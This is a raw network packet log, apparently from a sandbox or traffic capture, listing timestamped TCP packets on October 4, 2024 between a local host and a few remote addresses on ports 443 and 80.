Oct 4, 2024 09:52:59.152209044 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.152226925 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.154130936 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.154211044 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.154282093 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.154613018 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.154676914 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.154725075 CEST	57040	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.154743910 CEST	443	57040	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.156317949 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.156410933 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.156516075 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.156613111 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.156630993 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.226763010 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.226922035 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.226989985 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.227072954 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.227087975 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.227097988 CEST	57041	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.227102041 CEST	443	57041	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.229696035 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.229794025 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.229993105 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.230145931 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.230170012 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.794229031 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.795239925 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.795264006 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.795635939 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.795639992 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.805577993 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.806227922 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.806293011 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.806652069 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.806704998 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.822371006 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.823118925 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.823153973 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.823474884 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.823483944 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.826895952 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.827152014 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.827214956 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.827455044 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.827470064 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.882919073 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.883407116 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.883480072 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.884334087 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.884346962 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.894716024 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.894764900 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.894834042 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.895013094 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.895025969 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.895035982 CEST	57042	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.895041943 CEST	443	57042	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.897644997 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.897699118 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.897792101 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.897908926 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.897934914 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.906699896 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.906842947 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.910964012 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.910964966 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.910964966 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.913136959 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.913170099 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.914828062 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.914922953 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.914932966 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.926240921 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.926388025 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.926466942 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.926557064 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.926573992 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.926589012 CEST	57044	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.926595926 CEST	443	57044	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.928452015 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.928530931 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.928637981 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.928733110 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.928761959 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.928924084 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.929085970 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.930689096 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.930788040 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.930825949 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.930852890 CEST	57045	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.930867910 CEST	443	57045	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.932806969 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.932816982 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.932898045 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.932998896 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.933007956 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.983021021 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.983294010 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.983552933 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.985944986 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.985944986 CEST	57046	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.985997915 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.986028910 CEST	443	57046	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.989625931 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.989656925 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:52:59.989737988 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.989984035 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:52:59.989995956 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.212045908 CEST	57043	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.212124109 CEST	443	57043	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.555453062 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.556189060 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.556247950 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.556802988 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.556817055 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.577833891 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.578519106 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.578552008 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.578808069 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.579086065 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.579113007 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.579144001 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.579154968 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.579771996 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.579778910 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.580868006 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.581186056 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.581219912 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.581760883 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.581789970 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.661475897 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.661609888 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.661735058 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.661977053 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.662020922 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.662049055 CEST	57048	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.662065029 CEST	443	57048	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.665704966 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.665792942 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.665888071 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.666254997 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.666290998 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.668135881 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.668535948 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.668557882 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.669166088 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.669177055 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.678956032 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.679018021 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.679150105 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.679270029 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.679315090 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.679361105 CEST	57049	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.679378986 CEST	443	57049	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.681556940 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.681723118 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.681782007 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.683274031 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.683306932 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.683336973 CEST	57050	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.683351994 CEST	443	57050	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.688055038 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.688198090 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.688388109 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.688932896 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.689019918 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.689110041 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.689362049 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.689362049 CEST	57047	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.689426899 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.689462900 CEST	443	57047	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.689702988 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.689740896 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.703022957 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.703107119 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.703212023 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.703577042 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.703614950 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.704193115 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.704245090 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.704319000 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.704457045 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.704488993 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.771081924 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.771209955 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.771269083 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.771328926 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.771353006 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.771374941 CEST	57051	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.771401882 CEST	443	57051	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.774240017 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.774275064 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:00.774353981 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.774529934 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:00.774555922 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.313178062 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.313766003 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.313843012 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.314208031 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.314222097 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.346090078 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.346652985 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.346719980 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.347033978 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.347047091 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.362812042 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.363214016 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.363291025 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.363552094 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.363564968 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.375212908 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.381191969 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.381217003 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.381535053 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.381552935 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.413945913 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.414098978 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.414201021 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.414340973 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.414376974 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.414402008 CEST	57052	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.414417028 CEST	443	57052	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.417711020 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.417812109 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.418077946 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.418193102 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.418224096 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.433855057 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.434313059 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.434329987 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.434667110 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.434676886 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.447998047 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.448071003 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.448158026 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.448291063 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.448337078 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.448399067 CEST	57053	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.448415995 CEST	443	57053	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.451307058 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.451423883 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.451517105 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.451818943 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.451936007 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.465034962 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.465117931 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.465331078 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.465331078 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.465331078 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.467143059 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.467196941 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.467284918 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.467449903 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.467472076 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.480618954 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.480743885 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.480808020 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.480889082 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.480889082 CEST	57055	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.480926037 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.480946064 CEST	443	57055	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.483052969 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.483143091 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.483237982 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.483434916 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.483470917 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.535425901 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.535614014 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.535706997 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.535852909 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.535875082 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.535897970 CEST	57056	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.535909891 CEST	443	57056	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.538830996 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.538944960 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.539063931 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.539263010 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.539300919 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:01.774590969 CEST	57054	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:01.774681091 CEST	443	57054	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.131939888 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.132565022 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.132652044 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.133188963 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.133203983 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.227885962 CEST	49723	80	192.168.2.4	93.184.221.240
Oct 4, 2024 09:53:02.228058100 CEST	49724	80	192.168.2.4	93.184.221.240
Oct 4, 2024 09:53:02.232009888 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.232173920 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.232376099 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.232377052 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.232377052 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.233556986 CEST	80	49723	93.184.221.240	192.168.2.4
Oct 4, 2024 09:53:02.233586073 CEST	80	49724	93.184.221.240	192.168.2.4
Oct 4, 2024 09:53:02.233617067 CEST	49723	80	192.168.2.4	93.184.221.240
Oct 4, 2024 09:53:02.233761072 CEST	49724	80	192.168.2.4	93.184.221.240
Oct 4, 2024 09:53:02.235325098 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.235434055 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.235543013 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.235701084 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.235724926 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.316328049 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.317157030 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.317234039 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.317467928 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.317482948 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.319866896 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.319890976 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.320314884 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.320353031 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.320378065 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.320430994 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.320655107 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.320669889 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.320943117 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.320960045 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.321199894 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.321501970 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.321547031 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.321995020 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.322021961 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423163891 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423224926 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423449039 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.423739910 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423801899 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.423801899 CEST	57058	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.423877001 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423913002 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.423938990 CEST	443	57058	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.424127102 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.424128056 CEST	57061	443	192.168.2.4	13.107.246.45
